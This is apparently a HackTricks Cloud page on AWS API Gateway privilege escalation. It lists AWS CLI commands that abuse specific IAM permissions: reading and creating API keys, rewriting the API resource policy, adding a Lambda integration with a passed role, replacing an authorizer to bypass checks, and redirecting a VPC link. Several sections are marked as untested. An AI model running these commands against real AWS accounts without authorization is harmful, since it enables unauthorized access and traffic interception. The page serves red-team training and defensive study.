# AWS - Apigateway Privesc {% hint style="success" %} Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %} ## Apigateway For more information check: {% content-ref url="../aws-services/aws-api-gateway-enum.md" %} [aws-api-gateway-enum.md](../aws-services/aws-api-gateway-enum.md) {% endcontent-ref %} ### `apigateway:POST` With this permission you can generate API keys of the APIs configured (per region). ```bash aws --region apigateway create-api-key ``` **Potential Impact:** You cannot privesc with this technique but you might get access to sensitive info. ### `apigateway:GET` With this permission you can get generated API keys of the APIs configured (per region). ```bash aws --region apigateway get-api-keys aws --region apigateway get-api-key --api-key --include-value ``` **Potential Impact:** You cannot privesc with this technique but you might get access to sensitive info. ### `apigateway:UpdateRestApiPolicy`, `apigateway:PATCH` With these permissions it's possible to modify the resource policy of an API to give yourself access to call it and abuse potential access the API gateway might have (like invoking a vulnerable lambda). {% code overflow="wrap" %} ```bash aws apigateway update-rest-api \ --rest-api-id api-id \ --patch-operations op=replace,path=/policy,value='"{\"jsonEscapedPolicyDocument\"}"' ``` {% endcode %} **Potential Impact:** You, usually, won't be able to privesc directly with this technique but you might get access to sensitive info. ### `apigateway:PutIntegration`, `apigateway:CreateDeployment`, `iam:PassRole` {% hint style="info" %} Need testing {% endhint %} An attacker with the permissions `apigateway:PutIntegration`, `apigateway:CreateDeployment`, and `iam:PassRole` can **add a new integration to an existing API Gateway REST API with a Lambda function that has an IAM role attached**. The attacker can then **trigger the Lambda function to execute arbitrary code and potentially gain access to the resources associated with the IAM role**. {% code overflow="wrap" %} ```bash API_ID="your-api-id" RESOURCE_ID="your-resource-id" HTTP_METHOD="GET" LAMBDA_FUNCTION_ARN="arn:aws:lambda:region:account-id:function:function-name" LAMBDA_ROLE_ARN="arn:aws:iam::account-id:role/lambda-role" # Add a new integration to the API Gateway REST API aws apigateway put-integration --rest-api-id $API_ID --resource-id $RESOURCE_ID --http-method $HTTP_METHOD --type AWS_PROXY --integration-http-method POST --uri arn:aws:apigateway:region:lambda:path/2015-03-31/functions/$LAMBDA_FUNCTION_ARN/invocations --credentials $LAMBDA_ROLE_ARN # Create a deployment for the updated API Gateway REST API aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod ``` {% endcode %} **Potential Impact**: Access to resources associated with the Lambda function's IAM role. ### `apigateway:UpdateAuthorizer`, `apigateway:CreateDeployment` {% hint style="info" %} Need testing {% endhint %} An attacker with the permissions `apigateway:UpdateAuthorizer` and `apigateway:CreateDeployment` can **modify an existing API Gateway authorizer** to bypass security checks or to execute arbitrary code when API requests are made. {% code overflow="wrap" %} ```bash API_ID="your-api-id" AUTHORIZER_ID="your-authorizer-id" LAMBDA_FUNCTION_ARN="arn:aws:lambda:region:account-id:function:function-name" # Update the API Gateway authorizer aws apigateway update-authorizer --rest-api-id $API_ID --authorizer-id $AUTHORIZER_ID --authorizer-uri arn:aws:apigateway:region:lambda:path/2015-03-31/functions/$LAMBDA_FUNCTION_ARN/invocations # Create a deployment for the updated API Gateway REST API aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod ``` {% endcode %} **Potential Impact**: Bypassing security checks, unauthorized access to API resources. ### `apigateway:UpdateVpcLink` {% hint style="info" %} Need testing {% endhint %} An attacker with the permission `apigateway:UpdateVpcLink` can **modify an existing VPC Link to point to a different Network Load Balancer, potentially redirecting private API traffic to unauthorized or malicious resources**. ```bash bashCopy codeVPC_LINK_ID="your-vpc-link-id" NEW_NLB_ARN="arn:aws:elasticloadbalancing:region:account-id:loadbalancer/net/new-load-balancer-name/50dc6c495c0c9188" # Update the VPC Link aws apigateway update-vpc-link --vpc-link-id $VPC_LINK_ID --patch-operations op=replace,path=/targetArns,value="[$NEW_NLB_ARN]" ``` **Potential Impact**: Unauthorized access to private API resources, interception or disruption of API traffic. {% hint style="success" %} Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}